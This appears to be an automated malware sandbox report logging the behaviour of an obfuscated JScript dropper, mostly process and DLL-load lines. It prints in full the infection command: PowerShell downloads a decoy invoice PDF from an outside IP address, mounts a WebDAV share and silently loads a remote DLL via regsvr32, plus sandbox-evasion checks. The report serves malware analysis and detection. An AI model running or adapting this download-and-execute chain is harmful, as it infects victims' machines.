Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3557.js.csv");ITextStream.WriteLine(" entry:8018 f:thcocng");ITextStream.WriteLine(" exec:2 f:thcocng");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4839			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4897			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6132	Thread sleep count: 4839 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6132	Thread sleep count: 4897 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7424	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7452	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4036	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7464	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7728	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7940	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 0000000F.00000002.2543370329.0000022A7962B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW \
Source: wscript.exe, 00000000.00000002.1268089564.0000018AB8B22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: net.exe, 0000000D.00000003.1333570564.0000020552FBA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1337422993.0000020552FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2546519097.0000022A7EC53000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000D.00000003.1333570564.0000020552FBA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1337422993.0000020552FBA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW~
Source: net.exe, 0000000D.00000002.1336247548.0000020552F58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
